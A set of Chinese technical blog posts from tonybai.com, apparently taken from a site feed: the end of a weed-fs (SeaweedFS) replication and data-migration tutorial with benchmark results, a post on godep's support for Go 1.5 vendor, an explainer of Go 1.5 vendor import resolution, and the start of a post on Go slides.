6.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 21:31 6.idx\nv3:\n-rw-r–r– 1 tonybai tonybai 8 8 21 21:31 5.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 21:31 5.idx\n可以看到hello1.txt被存储在v1下，同时可以看出不同的物理卷分别存放在不同节点下（由于不需要do replication）。\n在这种情况(000)下，如果要将v1数据迁移到v2或v3中，只需将v1停掉，将v1下的文件mv到v2或v3中，重启volume server2或volume server3即可。\n2、001复制策略下的数据迁移\n001复制策略是weed-fs默认的复制策略，weed-fs会为每个文件在同Rack下复制一个副本。我们还利用上面的环境，不过需要停掉 weed-fs，清空目录下的文件，重启后使用，别忘了-defaultReplication=001。\n我们连续存储三个文件：\n$ curl -F filename=@hello1.txt \u0026ldquo;http://localhost:9333/submit\u0026rdquo;\n{\u0026ldquo;fid\u0026rdquo;:\u0026ldquo;2,01ea84980d\u0026rdquo;,\u0026ldquo;fileName\u0026rdquo;:\u0026ldquo;hello1.txt\u0026rdquo;,\u0026ldquo;fileUrl\u0026rdquo;:\u0026ldquo;127.0.0.1:8082/2,01ea84980d\u0026rdquo;,\u0026ldquo;size\u0026rdquo;:40}\n$ curl -F filename=@hello2.txt \u0026ldquo;http://localhost:9333/submit\u0026rdquo;\n{\u0026ldquo;fid\u0026rdquo;:\u0026ldquo;1,027883baa8\u0026rdquo;,\u0026ldquo;fileName\u0026rdquo;:\u0026ldquo;hello2.txt\u0026rdquo;,\u0026ldquo;fileUrl\u0026rdquo;:\u0026ldquo;127.0.0.1:8083/1,027883baa8\u0026rdquo;,\u0026ldquo;size\u0026rdquo;:40}\n$ curl -F filename=@hello3.txt \u0026ldquo;http://localhost:9333/submit\u0026rdquo;\n{\u0026ldquo;fid\u0026rdquo;:\u0026ldquo;6,03220f577e\u0026rdquo;,\u0026ldquo;fileName\u0026rdquo;:\u0026ldquo;hello3.txt\u0026rdquo;,\u0026ldquo;fileUrl\u0026rdquo;:\u0026ldquo;127.0.0.1:8081/6,03220f577e\u0026rdquo;,\u0026ldquo;size\u0026rdquo;:40}\n可以看出三个文件分别被存储在vol2, vol1和vol6中，我们查看一下v1, v2, v3中的文件情况：\n$ ll v1 v2 v3\nv1:\n-rw-r–r– 1 tonybai tonybai 104 8 21 22:00 1.dat\n-rw-r–r– 1 tonybai tonybai 16 8 21 22:00 1.idx\n-rw-r–r– 1 tonybai tonybai 8 8 21 21:56 3.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 21:56 3.idx\n-rw-r–r– 1 tonybai tonybai 8 8 21 21:56 4.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 21:56 4.idx\n-rw-r–r– 1 tonybai tonybai 104 8 21 22:02 6.dat\n-rw-r–r– 1 tonybai tonybai 16 8 21 22:02 6.idx\nv2:\n-rw-r–r– 1 tonybai tonybai 104 8 21 21:56 2.dat\n-rw-r–r– 1 tonybai tonybai 16 8 21 21:56 2.idx\n-rw-r–r– 1 tonybai tonybai 8 8 21 21:56 5.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 21:56 5.idx\nv3:\n-rw-r–r– 1 tonybai tonybai 104 8 21 22:00 1.dat\n-rw-r–r– 1 tonybai tonybai 16 8 21 22:00 1.idx\n-rw-r–r– 1 tonybai tonybai 104 8 21 21:56 2.dat\n-rw-r–r– 1 tonybai tonybai 16 8 21 21:56 2.idx\n-rw-r–r– 1 tonybai tonybai 8 8 21 21:56 3.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 21:56 3.idx\n-rw-r–r– 1 tonybai tonybai 8 8 21 21:56 4.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 21:56 4.idx\n-rw-r–r– 1 tonybai tonybai 8 8 21 21:56 5.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 21:56 5.idx\n-rw-r–r– 1 tonybai tonybai 104 8 21 22:02 6.dat\n-rw-r–r– 1 tonybai tonybai 16 8 21 22:02 6.idx\n假设我们现在要shutdown v3，将v3数据迁移到其他volume server，我们有3种做法：\n不迁移 将v3下的所有文件mv到v2或v1中 将v3下的所有文件先后覆盖到v1和v2中 我们来逐个分析每种做法的后果：\n1) 不迁移\n001策略下，每份数据有两个copy，v3中的数据其他两个v1+v2总是有的，因此即便不迁移，v1+v2中也会有一份数据copy。你可以 测试一下当shutdown volume3后：\n$ curl -L \u0026ldquo;http://localhost:9333/2,01ea84980d\u0026rdquo;\nhello weed-fs1!\n$ curl -L \u0026ldquo;http://localhost:9333/1,027883baa8\u0026rdquo;\nhello weed-fs2!\n$ curl -L \u0026ldquo;http://localhost:9333/6,03220f577e\u0026rdquo;\nhello weed-fs3!\n针对每一份文件，你都可以多get几次，都会得到正确的结果。但此时的不足也很明显，那就是存量数据不再拥有另外一份备份。\n2) 将v3下的所有文件mv到v2或v1中\n还是根据001策略，将v3数据mv到v2或v1中，结果会是什么呢，这里就以v3 mv到 v1举例：\n对于v1和v3都有的卷id，比如1，两者的文件1.idx和1.dat是一模一样的。这是001策略决定的。但一旦迁移后，系统中的数据就由2份变 成1份了。\n- 对于v1有，而v3没有的，那自然不必说了。\n- 对于v1没有，而v3有的，mv过去就成为了v1的数据。 为此，这种做法依旧不够完美。\n3）将v****3下的所有文件覆盖到v1和v2中\n结合上面的方法，只有此种迁移方式才能保证迁移后，系统中的数据不丢失，且每个都是按照001策略所说的2份，这才是正确的方法。\n我们来测试一下：\n– 停掉volume3；\n– 停掉volume1，将v3下的文件copy到v1下，启动volume1\n– 停掉volume2，将v3下的文件copy到v2下，启动volume2\n$ curl \u0026ldquo;http://localhost:9333/6,03220f577e\u0026rdquo;\n\u0026lt;a href=\u0026ldquo;http://127.0.0.1:8081/6,03220f577e\u0026rdquo;\u0026gt;Moved Permanently.\n$ curl \u0026ldquo;http://localhost:9333/6,03220f577e\u0026rdquo;\n\u0026lt;a href=\u0026ldquo;http://127.0.0.1:8082/6,03220f577e\u0026rdquo;\u0026gt;Moved Permanently.\n可以看到，master返回了重定向地址8081和8082，说明8083迁移到8082上的数据也生效了。\n3、100复制策略下的数据迁移\n测试环境稍作变化：\nmaster:\n$ weed -v=3 master -port=9333 -mdir=./m1 -defaultReplication=100\nvolume:\n$ weed -v=3 volume -port=8081 -dir=./v1 -mserver=localhost:9333 -dataCenter=dc1\n$ weed -v=3 volume -port=8082 -dir=./v2 -mserver=localhost:9333 -dataCenter=dc1\n$ weed -v=3 volume -port=8083 -dir=./v3 -mserver=localhost:9333 -dataCenter=dc****2\n和之前一样，我们上传三份文件：\n$ curl -F filename=@hello1.txt \u0026ldquo;http://localhost:9333/submit\u0026rdquo;\n{\u0026ldquo;fid\u0026rdquo;:\u0026ldquo;4,01d937dd30\u0026rdquo;,\u0026ldquo;fileName\u0026rdquo;:\u0026ldquo;hello1.txt\u0026rdquo;,\u0026ldquo;fileUrl\u0026rdquo;:\u0026ldquo;127.0.0.1:8083/4,01d937dd30\u0026rdquo;,\u0026ldquo;size\u0026rdquo;:40}\n$ curl -F filename=@hello2.txt \u0026ldquo;http://localhost:9333/submit\u0026rdquo;\n{\u0026ldquo;fid\u0026rdquo;:\u0026ldquo;2,025efbef14\u0026rdquo;,\u0026ldquo;fileName\u0026rdquo;:\u0026ldquo;hello2.txt\u0026rdquo;,\u0026ldquo;fileUrl\u0026rdquo;:\u0026ldquo;127.0.0.1:8082/2,025efbef14\u0026rdquo;,\u0026ldquo;size\u0026rdquo;:40}\n$ curl -F filename=@hello3.txt \u0026ldquo;http://localhost:9333/submit\u0026rdquo;\n{\u0026ldquo;fid\u0026rdquo;:\u0026ldquo;2,03be936488\u0026rdquo;,\u0026ldquo;fileName\u0026rdquo;:\u0026ldquo;hello3.txt\u0026rdquo;,\u0026ldquo;fileUrl\u0026rdquo;:\u0026ldquo;127.0.0.1:8082/2,03be936488\u0026rdquo;,\u0026ldquo;size\u0026rdquo;:40}\n$ ll v1 v2 v3\n-rw-r–r– 1 tonybai tonybai 8 8 21 22:58 3.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 22:58 3.idx\n-rw-r–r– 1 tonybai tonybai 104 8 21 22:58 4.dat\n-rw-r–r– 1 tonybai tonybai 16 8 21 22:58 4.idx\nv2:\n-rw-r–r– 1 tonybai tonybai 8 8 21 22:58 1.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 22:58 1.idx\n-rw-r–r– 1 tonybai tonybai 200 8 21 22:59 2.dat\n-rw-r–r– 1 tonybai tonybai 32 8 21 22:59 2.idx\n-rw-r–r– 1 tonybai tonybai 8 8 21 22:58 5.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 22:58 5.idx\n-rw-r–r– 1 tonybai tonybai 8 8 21 22:58 6.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 22:58 6.idx\nv3:\n-rw-r–r– 1 tonybai tonybai 8 8 21 22:58 1.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 22:58 1.idx\n-rw-r–r– 1 tonybai tonybai 200 8 21 22:59 2.dat\n-rw-r–r– 1 tonybai tonybai 32 8 21 22:59 2.idx\n-rw-r–r– 1 tonybai tonybai 8 8 21 22:58 3.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 22:58 3.idx\n-rw-r–r– 1 tonybai tonybai 104 8 21 22:58 4.dat\n-rw-r–r– 1 tonybai tonybai 16 8 21 22:58 4.idx\n-rw-r–r– 1 tonybai tonybai 8 8 21 22:58 5.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 22:58 5.idx\n-rw-r–r– 1 tonybai tonybai 8 8 21 22:58 6.dat\n-rw-r–r– 1 tonybai tonybai 0 8 21 22:58 6.idx\n由于100策略是在不同DataCenter中各保持一份copy，因此数据的迁移不应该在数据中心间进行，而同一数据中心内的迁移又回归到了 “000”策略的情形。\n其他策略的分析方式也是如此，这里就不长篇大论了。\n九、Benchmark\n在HP ProLiant DL380 G4, Intel(R) Xeon(TM) CPU 3.60GHz 4核，6G内存的机器(非SSD硬盘)上，执行benchmark test:\n$ weed benchmark -server=localhost:9333\nThis is SeaweedFS version 0.70 beta linux amd64\n———— Writing Benchmark ———-\nConcurrency Level: 16\nTime taken for tests: 831.583 seconds\nComplete requests: 1048576\nFailed requests: 0\nTotal transferred: 1106794545 bytes\nRequests per second: 1260.94 [#/sec]\nTransfer rate: 1299.75 [Kbytes/sec]\nConnection Times (ms)\nmin avg max std\nTotal: 2.2 12.5 1118.4 9.3\nPercentage of the requests served within a certain time (ms)\n50% 11.4 ms\n66% 13.3 ms\n75% 14.8 ms\n80% 15.9 ms\n90% 19.2 ms\n95% 22.6 ms\n98% 27.4 ms\n99% 31.2 ms\n100% 1118.4 ms\n———— Randomly Reading Benchmark ———-\nConcurrency Level: 16\nTime taken for tests: 151.480 seconds\nComplete requests: 1048576\nFailed requests: 0\nTotal transferred: 1106791113 bytes\nRequests per second: 6922.22 [#/sec]\nTransfer rate: 7135.28 [Kbytes/sec]\nConnection Times (ms)\nmin avg max std\nTotal: 0.1 2.2 116.7 3.9\nPercentage of the requests served within a certain time (ms)\n50% 1.6 ms\n66% 2.1 ms\n75% 2.5 ms\n80% 2.8 ms\n90% 3.7 ms\n95% 4.8 ms\n98% 7.4 ms\n99% 11.1 ms\n100% 116.7 ms\n这个似乎比作者在mac笔记本(SSD)上性能还要差些，当然此次我们用的策略是100，并且这个服务器上还运行着其他程序。但即便如此，感觉weed-fs还是有较大优化的空间的。\n作者在官网上将weed-fs与其他分布式文件系统如Ceph，hdfs等做了简要对比，强调了weed-fs相对于其他分布式文件系统的优点。\n十、其它\nweed-fs使用google glog，因此所有log的级别设置以及log定向的方法均与glog一致。\nweed-fs提供了backup命令，用来在同机上备份volume server上的数据。\nweed-fs没有提供官方client包，但在wiki上列出多种第三方client包（各种语言），就Go client包来看，似乎还没有特别理想的。\nweed-fs目前还没有web console，只能通过命令行进行操作。\n使用weed-fs时，别忘了将open files no limit调大，否则可能会导致volume server crash。\n十一、小结\nweed-fs为想寻找开源分布式文件系统的朋友们提供了一个新选择。尤其是在存储大量小图片时，weed-fs自身就是基于haystack这一优化图 片存储的论文的。另外weed-fs使用起来的确十分简单，分分钟就可以建立起一个分布式系统，部署容易，几乎不需要什么配置。但weed-fs目前最大 的问题似乎是没有重量级的使用案例，自身也还有不少不足，但希望通过这篇文章能让更多人认识weed-fs，并使用weed-fs，帮助改善weed-fs吧。\n","permalink":"https://tonybai.com/2015/08/22/intro-of-using-weedfs/","summary":"\u003cp\u003e\u003ca href=\"https://github.com/chrislusf/seaweedfs\"\u003eweed-fs\u003c/a\u003e，全名Seaweed-fs，是一种用\u003ca href=\"http://tonybai.com/tag/golang\"\u003egolang\u003c/a\u003e实现的简单且高可用的分布式文件系统。该系统的目标有二：\u003c/p\u003e\n\u003cp\u003e- 存储billions of files\u003cbr\u003e\n- serve the files fast\u003c/p\u003e\n\u003cp\u003eweed-fs起初是为了搞一个基于Fackbook的\u003ca href=\"http://www.usenix.org/event/osdi10/tech/full_papers/Beaver.pdf\"\u003eHaystack论文\u003c/a\u003e的实现，Haystack旨在优化Fackbook内部图片存储和获取。后在这个基 础上，weed-fs作者又增加了若干feature，形成了目前的weed-fs。\u003c/p\u003e","title":"weed-fs使用简介"},{"content":"Go 1.5 vendor/实验特性出炉后，市面上的go第三方包依赖和管理工具显然都无法与之兼容，除了修改代码，别无它法。市场占有率最大的godep做出了表 率，目前其最新版本(go get github.com/tools/godep)已经初步支持了这一实验特性，即在GO15VENDOREXPERIMENT=1时，将使用vendor 目录（而不是Godeps目录）存放copy的第三方包，并在godep go build时不再rewrite GOPATH就可以实现利用vendor下第三方包的构建。下面我们就用例子来验证一下Godep对vendor的支持。\n一、升级godep到最新版本\n如果要用到go 1.5 vendor，那么godep要升级（go get -u github.com/tools/godep;go build github.com/tools/godep）到当前的最新版本“commit d8799f112f6c8dfe1e56142831bc3bb5c8796a0e”。最新版本兼容老版本的功能，同时提供对go 1.5 vendor支持，两者之间转换的开关就是环境变量：GO15VENDOREXPERIMENT。\n当GO15VENDOREXPERIMENT没有被set时，godep沿用以前的方式；当GO15VENDOREXPERIMENT = 1时，godep将用vendor替代Godeps目录以存放第三方包，同时go save将无法使用-r命令行选项(-r选项用于重写源码中的import path)：\n$ godep save -r\ngodep: flag -r is incompatible with the vendoring experiment\n**二、**例子\n下面是一个godep的例子（go 1.5 beta3），例子的目录结构如下：\n$(GOPATH)/src/tonybai.com/\n├── app\n│ └── main.go\n└── foolib\n└── foolib.go\n//foolib.go\npackage foo\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc Hello() {\nfmt.Println(\u0026quot;Hello from foolib\u0026quot;) }\n//main.go\npackage main\nimport \u0026ldquo;tonybai.com/foolib\u0026rdquo;\nfunc main() {\nfoo.Hello() }\n如果GO15VENDOREXPERIMENT没有被set时，godep的各种命令将按之前的方式执行。\n$ godep save\n$ godep go build\n$(GOPATH)/src/tonybai.com/\n├── Godeps\n│ ├── Godeps.json\n│ ├── Readme\n│ └── _workspace\n│ └── src\n│ └── tonybai.com\n│ └── foolib\n│ └── foolib.go\n├── app*\n└── main.go\n$./app\nHello from foolib\ngodep将第三方包放在Godeps/_workspace/src下面。godep go build会rewrite GOPATH以实现使用_workspace下面的第三方包来构建的目的。\n如果GO15VENDOREXPERIMENT = 1,那么godep会按照新的方式执行各种命令：\n$ godep save\n$ godep go build\n$(GOPATH)/src/tonybai.com/\n├── Godeps\n│ ├── Godeps.json\n│ └── Readme\n├── app*\n├── main.go\n└── vendor\n└── tonybai.com\n└── foolib\n└── foolib.go\n可以看出godep建立vendor目录来存放第三方包，Godeps目录依然保留，但只是存放Godeps.json，以保存些第三方包的meta信息:\n//Godeps.json\n{\n\u0026ldquo;ImportPath\u0026rdquo;: \u0026ldquo;tonybai.com/app\u0026rdquo;,\n\u0026ldquo;GoVersion\u0026rdquo;: \u0026ldquo;go1.5beta3\u0026rdquo;,\n\u0026ldquo;Deps\u0026rdquo;: [\n{\n\u0026ldquo;ImportPath\u0026rdquo;: \u0026ldquo;tonybai.com/foolib\u0026rdquo;,\n\u0026ldquo;Rev\u0026rdquo;: \u0026ldquo;7f2f94dc589ba9e053ef13b3b01fa327c27bf161\u0026rdquo;\n}\n]\n}\n三、迁移\n由于godep前后的两种工作模式并不兼容，因此大量存量的使用godep的repo，如果想使用Go 1.5 vendor，那么在升级到Go 1.5之后需要做一些迁移工作。godep没有提供自动的迁移工具，目前只能手动迁移，godep github主页上给出了手动迁移的命令步骤：\n$ unset GO15VENDOREXPERIMENT\n$ godep restore\n//如果之前使用了godep save -r，那么下面这行命令将自动undo rewritten import。\n$ godep save ./…\n$ rm -rf Godeps\n$ export GO15VENDOREXPERIMENT=1\n$ godep save ./…\n# You should see your Godeps/_workspace/src files \u0026ldquo;moved\u0026rdquo; to vendor/.\n","permalink":"https://tonybai.com/2015/08/05/godep-support-go15-vendor/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2015/07/31/understand-go15-vendor/\"\u003eGo 1.5 vendor\u003c/a\u003e/实验特性出炉后，市面上的go第三方包依赖和管理工具显然都无法与之兼容，除了修改代码，别无它法。市场占有率最大的\u003ca href=\"http://tonybai.com/2014/10/30/a-hole-of-godep/\"\u003egodep\u003c/a\u003e做出了表 率，目前其最新版本(go get github.com/tools/godep)已经初步支持了这一实验特性，即在GO15VENDOREXPERIMENT=1时，将使用vendor 目录（而不是Godeps目录）存放copy的第三方包，并在godep go build时不再rewrite GOPATH就可以实现利用vendor下第三方包的构建。下面我们就用例子来验证一下Godep对vendor的支持。\u003c/p\u003e","title":"godep支持Go 1.5 vendor"},{"content":"Go 1.5中(目前最新版本go1.5beta3)加入了一个experimental feature: vendor/。这个feature不是Go 1.5的正式功能，但却是Go Authors们在解决Go被外界诟病的包依赖管理的道路上的一次重要尝试。目前关于Go vendor机制的资料有限，主要的包括如下几个：\n1、Russ Cox在Golang-dev group上的一个名 为\u0026quot;proposal: external packages\u0026quot; topic上的reply。\n2、Go 1.5beta版发布后Russ Cox根据上面topic整理的一个doc。\n3、medium.com上一篇名为“Go 1.5 vendor/ experiment\u0026ldquo;的文章。\n但由于Go 1.5稳定版还未发布(最新消息是2015.8月中旬发布)，因此估计真正采用vendor的repo尚没有。但既然是Go官方解决方案，后续从 expreimental变成official的可能性就很大（Russ的初步计划：如果试验顺利，1.6版本默认 GO15VENDOREXPERIMENT=\u0026ldquo;1\u0026rdquo;；1.7中将去掉GO15VENDOREXPERIMENT环境变量）。因此对于Gophers们，搞 清楚vendor还是很必要的。本文就和大家一起来理解下vendor这个新feature。\n一、vendor由来\nGo第三方包依赖和管理的问题由来已久，民间知名的解决方案就有godep、 gb等。这次Go team在推出vendor前已经在Golang-dev group上做了长时间的调研，最终Russ Cox在Keith Rarick的proposal的基础上做了改良，形成了Go 1.5中的vendor。\nRuss Cox基于前期调研的结果，给出了vendor机制的群众意见基础：\n– 不rewrite gopath\n– go tool来解决\n– go get兼容\n– 可reproduce building process\n并给出了vendor机制的\u0026quot;4行\u0026quot;诠释：\nIf there is a source directory d/vendor, then, when compiling a source file within the subtree rooted at d, import \u0026ldquo;p\u0026rdquo; is interpreted as import \u0026ldquo;d/vendor/p\u0026rdquo; if that exists.\nWhen there are multiple possible resolutions,the most specific (longest) path wins.\nThe short form must always be used: no import path can contain “/vendor/” explicitly.\nImport comments are ignored in vendored packages.\n这四行诠释在group中引起了强烈的讨论，短小精悍的背后是理解上的不小差异。我们下面逐一举例理解。\n二、vendor基本样例\nRuss Cox诠释中的第一条是vendor机制的基础。粗犷的理解就是如果有如下这样的目录结构：\nd/\nvendor/\np/\np.go\nmypkg/\nmain.go\n如果mypkg/main.go中有\u0026quot;import p\u0026rdquo;，那么这个p就会被go工具解析为\u0026quot;d/vendor/p\u0026quot;，而不是$GOPATH/src/p。\n现在我们就来复现这个例子，我们在go15-vendor-examples/src/basic下建立如上目录结构（其中go15-vendor-examples为GOPATH路径）：\n$ls -R\nd/\n./d:\nmypkg/ vendor/\n./d/mypkg:\nmain.go\n./d/vendor:\np/\n./d/vendor/p:\np.go\n其中main.go代码如下：\n//main.go\npackage main\nimport \u0026ldquo;p\u0026rdquo;\nfunc main() {\np.P()\n}\np.go代码如下：\n//p.go\npackage p\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc P() {\nfmt.Println(\u0026ldquo;P in d/vendor/p\u0026rdquo;)\n}\n在未开启vendor时，我们编译d/mypkg/main.go会得到如下错误结果：\n$ go build main.go\nmain.go:3:8: cannot find package \u0026ldquo;p\u0026rdquo; in any of:\n/Users/tony/.bin/go15beta3/src/p (from $GOROOT)\n/Users/tony/OpenSource/github.com/experiments/go15-vendor-examples/src/p (from $GOPATH)\n错误原因很显然：go编译器无法找到package p，d/vendor下的p此时无效。\n这时开启vendor：export GO15VENDOREXPERIMENT=1，我们再来编译执行一次：\n$go run main.go\nP in d/vendor/p\n开启了vendor机制的go tool在d/vendor下找到了package p。\n也就是说拥有了vendor后，你的project依赖的第三方包统统放在vendor/下就好了。这样go get时会将第三方包同时download下来，使得你的project无论被下载到那里都可以无需依赖目标环境而编译通过(reproduce the building process)。\n三、嵌套vendor\n那么问题来了！如果vendor中的第三方包中也包含了vendor目录，go tool是如何choose第三方包的呢？我们来看看下面目录结构(go15-vendor-examples/src/embeded)：\nd/\nvendor/\np/\np.go\nq/\nq.go\nvendor/\np/\np.go\nmypkg/\nmain.go\nembeded目录下出现了嵌套vendor结构：main.go依赖的q包本身还有一个vendor目录，该vendor目录下有一个p包，这样我们就有了两个p包。到底go工具会选择哪个p包呢？显然为了验证一些结论，我们源文件也要变化一下：\nd/vendor/p/p.go的代码不变。\n//d/vendor/q/q.go\npackage q\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;p\u0026rdquo;\n)\nfunc Q() {\nfmt.Println(\u0026ldquo;Q in d/vendor/q\u0026rdquo;)\np.P()\n}\n//d/vendor/q/vendor/p/p.go\npackage p\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc P() {\nfmt.Println(\u0026ldquo;P in d/vendor/q/vendor/p\u0026rdquo;)\n}\n//mypkg/main.go\npackage main\nimport (\n\u0026ldquo;p\u0026rdquo;\n\u0026ldquo;q\u0026rdquo;\n)\nfunc main() {\np.P()\nfmt.Println(\u0026quot;\u0026quot;)\nq.Q()\n}\n目录和代码编排完毕，我们就来到了见证奇迹的时刻了！我们执行一下main.go：\n$go run main.go\nP in d/vendor/p\nQ in d/vendor/q\nP in d/vendor/q/vendor/p\n可以看出main.go中最终引用的是d/vendor/p，而q.Q()中调用的p.P()则是d/vendor/q/vendor/p包的实现。go tool到底是如何在嵌套vendor情况下选择包的呢？我们回到Russ Cox关于vendor诠释内容的第二条：\nWhen there are multiple possible resolutions,the most specific (longest) path wins.\n这句话很简略，但却引来的巨大争论。\u0026ldquo;longest path wins\u0026quot;让人迷惑不解。如果仅仅从字面含义来看，上面main.go的执行结果更应该是：\nP in d/vendor/q/vendor/p\nQ in d/vendor/q\nP in d/vendor/q/vendor/p\nd/vendor/q/vendor/p可比d/vendor/p路径更long，但go tool显然并未这么做。它到底是怎么做的呢？talk is cheap, show you the code。我们粗略翻看一下go tool的实现代码：\n在$GOROOT/src/cmd/go/pkg.go中有一个方法vendoredImportPath,这个方法在go tool中广泛被使用：\n// vendoredImportPath returns the expansion of path when it appears in parent.\n// If parent is x/y/z, then path might expand to x/y/z/vendor/path, x/y/vendor/path,\n// x/vendor/path, vendor/path, or else stay x/y/z if none of those exist.\n// vendoredImportPath returns the expanded path or, if no expansion is found, the original.\n// If no expansion is found, vendoredImportPath also returns a list of vendor directories\n// it searched along the way, to help prepare a useful error message should path turn\n// out not to exist.\nfunc vendoredImportPath(parent *Package, path string) (found string, searched []string)\n这个方法的doc讲述的很清楚，这个方法返回所有可能的vendor path，以parentpath为x/y/z为例：\nx/y/z作为parentpath输入后，返回的vendorpath包括：\nx/y/z/vendor/path\nx/y/vendor/path\nx/vendor/path\nvendor/path\n这么说还不是很直观，我们结合我们的embeded vendor的例子来说明一下，为什么结果是像上面那样！go tool是如何resolve p包的！我们模仿go tool对main.go代码进行编译（此时vendor已经开启）。\n根据go程序的package init顺序，go tool首先编译p包。如何找到p包呢？此时的编译对象是d/mypkg/main.go，于是乎parent = d/mypkg，经过vendordImportPath处理，可能的vendor路径为：\nd/mypkg/vendor\nd/vendor\n但只有d/vendor/下存在p包，于是go tool将p包resolve为d/vendor/p，于是下面的p.P()就会输出：\nP in d/vendor/p\n接下来初始化q包。与p类似，go tool对main.go代码进行编译，此时的编译对象是d/mypkg/main.go，于是乎parent = d/mypkg，经过vendordImportPath处理，可能的vendor路径为：\nd/mypkg/vendor\nd/vendor\n但只有d/vendor/下存在q包，于是乎go tool将q包resolve为d/vendor/q，由于q包自身还依赖p包，于是go tool继续对q中依赖的p包进行选择，此时go tool的编译对象变为了d/vendor/q/q.go，parent = d/vendor/q，于是经过vendordImportPath处理，可能的vendor路径为：\nd/vendor/q/vendor\nd/vendor/vendor\nd/vendor\n存在p包的路径包括：\nd/vendor/q/vendor/p\nd/vendor/p\n此时按照Russ Cox的诠释2：choose longest，于是go tool选择了d/vendor/q/vendor/p，于是q.Q()中的p.P()输出的内容就是:\n\u0026ldquo;P in d/vendor/q/vendor/p\u0026rdquo;\n如果目录结构足够复杂，这个resolve过程也是蛮繁琐的，但按照这个思路依然是可以分析出正确的包的。\n另外vendoredImportPath传入的parent x/y/z并不是一个绝对路径，而是一个相对于$GOPATH/src的路径。\nBTW，上述测试样例代码在这里可以下载到。\n**四、**第三和第四条\n最难理解的第二条已经pass了，剩下两条就比较好理解了。\nThe short form must always be used: no import path can contain “/vendor/” explicitly.\n这条就是说，你在源码中不用理会vendor这个路径的存在，该怎么import包就怎么import，不要出现import \u0026ldquo;d/vendor/p\u0026quot;的情况。vendor是由go tool隐式处理的。\nImport comments are ignored in vendored packages.\ngo 1.4引入了canonical imports机制，如:\npackage pdf // import \u0026ldquo;rsc.io/pdf\u0026rdquo;\n如果你引用的pdf不是来自rsc.io/pdf，那么编译器会报错。但由于vendor机制的存在，go tool不会校验vendor中package的import path是否与canonical import路径是否一致了。\n五、问题\n根据小节三中的分析，对于vendor中包的resolving过程类似是一个recursive(递归）过程。\nmain.go中的p使用d/vendor/p；而q.go中的p使用的是d/vendor/q/vendor/p，这样就会存在一个问题：一个工程中存 在着两个版本的p包，这也许不会带来问题，也许也会是问题的根源，但目前来看从go tool的视角来看似乎没有更好的办法。Russ Cox期望大家良好设计工程布局，作为lib的包不携带vendor更佳。\n这样一个project内的所有vendor都集中在顶层vendor里面。就像下面这样：\nd/\nvendor/ q/\np/\n… …\nmypkg1\nmain.go\nmypkg2\nmain.go\n… …\n另外Go vendor不支持第三方包的版本管理，没有类似godep的Godeps.json这样的存储包元信息的文件。不过目前已经有第三方的vendor specs放在了github上，之前Go team的Brad Fizpatrick也在Golang-dev上征集过类似的方案，不知未来vendor是否会支持。\n六、vendor vs. internal\n在golang-dev有人提到：有了vendor，internal似乎没用了。这显然是混淆了internal和vendor所要解决的问题。\ninternal故名思议：内部包，不是对所有源文件都可见的。vendor是存储和管理外部依赖包，更类似于external，里面的包都是copy自 外部的，工程内所有源文件均可import vendor中的包。另外internal在1.4版本中已经加入到go核心，是不可能轻易去除的，虽然到目前为止我们还没能亲自体会到internal 包的作用。\n在《Go 1.5中值得关注的几个变化》一文中我提到过go 1.5 beta1似乎“不支持”internal，beta3发布后，我又试了试看beta3是否支持internal包。\n结果是beta3中，build依旧不报错。但go list -json会提示错误：\n\u0026ldquo;DepsErrors\u0026rdquo;: [\n{\n\u0026ldquo;ImportStack\u0026rdquo;: [\n\u0026ldquo;otherpkg\u0026rdquo;,\n\u0026ldquo;mypkg/internal/foo\u0026rdquo;\n],\n\u0026ldquo;Pos\u0026rdquo;: \u0026ldquo;\u0026rdquo;,\n\u0026ldquo;Err\u0026rdquo;: \u0026ldquo;use of internal package not allowed\u0026rdquo;\n}\n]\n难道真的要到最终go 1.5版本才会让internal包发挥作用?\n","permalink":"https://tonybai.com/2015/07/31/understand-go15-vendor/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2015/07/10/some-changes-in-go-1-5/\"\u003eGo 1.5\u003c/a\u003e中(目前最新版本go1.5beta3)加入了一个experimental feature: \u003cstrong\u003evendor/\u003c/strong\u003e。这个feature不是\u003ca href=\"https://tip.golang.org/doc/go1.5\"\u003eGo 1.5\u003c/a\u003e的正式功能，但却是Go Authors们在解决Go被外界诟病的包依赖管理的道路上的一次重要尝试。目前关于Go vendor机制的资料有限，主要的包括如下几个：\u003c/p\u003e","title":"理解Go 1.5 vendor"},{"content":"Go语言号称面向工程：对工程目录组织、代码风格（gofmt）、文档（生成）都制定的相应的“标准”，并提供了相应的工具帮助开发者满足这些工程specs。\ngofmt用于格式化代码，形成统一代码风格。\ngodoc.org用于查看标准库或repo的doc。\ngo-talks.appspot.com则是用来查看go slide。\n像godoc和go-talks这种以服务形式提供文档查看的形式不得不说是golang的又一创新。\n这几年Golang的开发者们是非常勤奋的，为了推广Golang，他们撰写博客，编写文档，并四处布道，积累下许多有价值的文档，这些文档多以 Gopher所特有的present格式存在着，这些 present格式的文档以.slide、.article或.ext为后缀，通过go-talks.appspot.com提供的present渲染服 务浏览，并且支持github.com repo中的slide文件。Go开发者们只需要将自己写好的slide文件存放在自己github.com上的repo中，就可以随时随地在世界各地打 开这类present文件为大家布道了。\n不过来到中国大陆后，事情就没那么顺利了，因为appspot.com在大陆是无法直接访问的，你懂得哦。为了观看这些大牛的slide，内地的Go程序员只能四处寻找出(fan)国(qiang)工具，但这毕竟不是十分方便。\n上周末@开发者头条分享了“why Go is fast? [Slide] High performance servers without the event loop 